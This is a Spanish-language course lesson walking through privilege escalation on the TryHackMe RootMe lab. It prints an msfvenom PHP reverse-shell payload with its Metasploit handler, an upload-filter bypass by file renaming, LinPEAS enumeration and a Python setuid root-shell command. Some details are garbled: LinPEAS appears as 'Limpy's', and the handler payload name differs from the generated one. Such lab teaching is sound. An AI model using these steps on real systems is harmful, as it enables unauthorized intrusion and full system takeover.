Escalado de Privilegios en Linux con Metasploit y TryHackMe
Clase 15 de 17 • Curso de Hacking: Escalada de Privilegios
Resumen
¿Cómo escalar privilegios en Linux utilizando Metasploit y Limpy's?
En el emocionante mundo de la ciberseguridad, la habilidad de escalar privilegios en un sistema Linux puede ser una herramienta poderosa y necesaria. En esta lección, abordaremos cómo utilizar herramientas para lograr esta tarea, específicamente a través del uso de Metasploit y Limpy's. Exploraremos cada paso de manera clara, brindando una comprensión profunda de las técnicas empleadas.
¿Cuál es el primer paso para escalar privilegios?
Para comenzar, es importante entender el concepto de escala de privilegios. Se refiere al proceso mediante el cual un usuario sin privilegios adquiere acceso completo a un sistema, lo que le permite realizar operaciones restringidas. Iniciamos con el análisis del sistema virtual, para el cual usaremos una máquina de TryHackMe, específicamente la máquina RootMe.
-
Inicio de la máquina virtual: Empezamos iniciando la máquina virtual de TryHackMe y obteniendo la dirección IP necesaria.
-
Configuración del entorno: Utilizamos Kali Linux para navegar en la máquina virtual y explorar las rutas y servicios disponibles. Herramientas como Nmap y DirBuster son esenciales para este proceso de información preliminar.
¿Cómo obtener una shell y utilizar Metasploit?
El siguiente paso esencial es obtener una shell en el sistema. Una shell nos permite ejecutar comandos remotos en el servidor. Para lograr esto, se pueden seguir diferentes caminos:
-
Upload de archivos: A través de una aplicación web observable desde la máquina virtual, encontramos un punto vulnerable que permite subir archivos. Exploitar esta vulnerabilidad es crucial.
-
Creación de un archivo PHP malicioso: Utilizamos Metasploit y su herramienta MSFVenom para crear un archivo PHP. Este archivo, al ejecutarse, nos proporcionará una conexión shell.
msfvenom -p php/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw > shell.php
-
Subir el archivo y sortear protecciones: Si existe un filtro sencillo que bloquee archivos PHP, renombramos el archivo a
shell.phtml
oshell.php5
para saltarnos estas restricciones. -
Conexión con Metasploit: Configuramos un handler en Metasploit para esperar conexiones entrantes.
use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LHOST <YOUR_IP> set LPORT 4444
¿Cómo analizar el sistema con Limpy's y escalar privilegios?
Con una shell de Meterpreter ya establecida, pasamos a analizar el sistema para detectar vías de escalación de privilegios mediante Limpy's.
-
Subir Limpy's al sistema: Usamos Meterpreter para transferir y ejecutar el script de Limpy's, el cual analizará el sistema en busca de vulnerabilidades.
upload /home/kali/Desktop/linpeas.sh /tmp/linpeas.sh chmod +x /tmp/linpeas.sh /tmp/linpeas.sh
-
Identificar vectores de escalación: Limpy's proporciona una lista de posibles vectores de escalación, incluyendo binarios que pueden ejecutarse con privilegios elevados.
¿Cómo aprovechar binarios como Python para escalar privilegios?
GTFOBins es una excelente fuente que detalla cómo utilizar binarios de Linux para escalar privilegios. En el caso de identificar el binario Python como ejecutable:
-
Consulta en GTFOBins: Buscamos el binario específico para obtener el comando de escalación. Para Python, el siguiente comando nos permite obtener una shell con privilegios de root.
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
-
Ejecutar en la shell: En nuestra shell obtenida mediante Meterpreter, ejecutamos el comando y verificamos el cambio de usuario.
whoami
Si la ejecución es exitosa, el sistema debe indicar que ahora somos
root
.
Este enfoque sistemático no solo es un gran ejemplo de cómo enfrentar situaciones de ciberseguridad ética, sino que también proporciona las bases para futuras exploraciones y aprendizajes en este campo fascinante.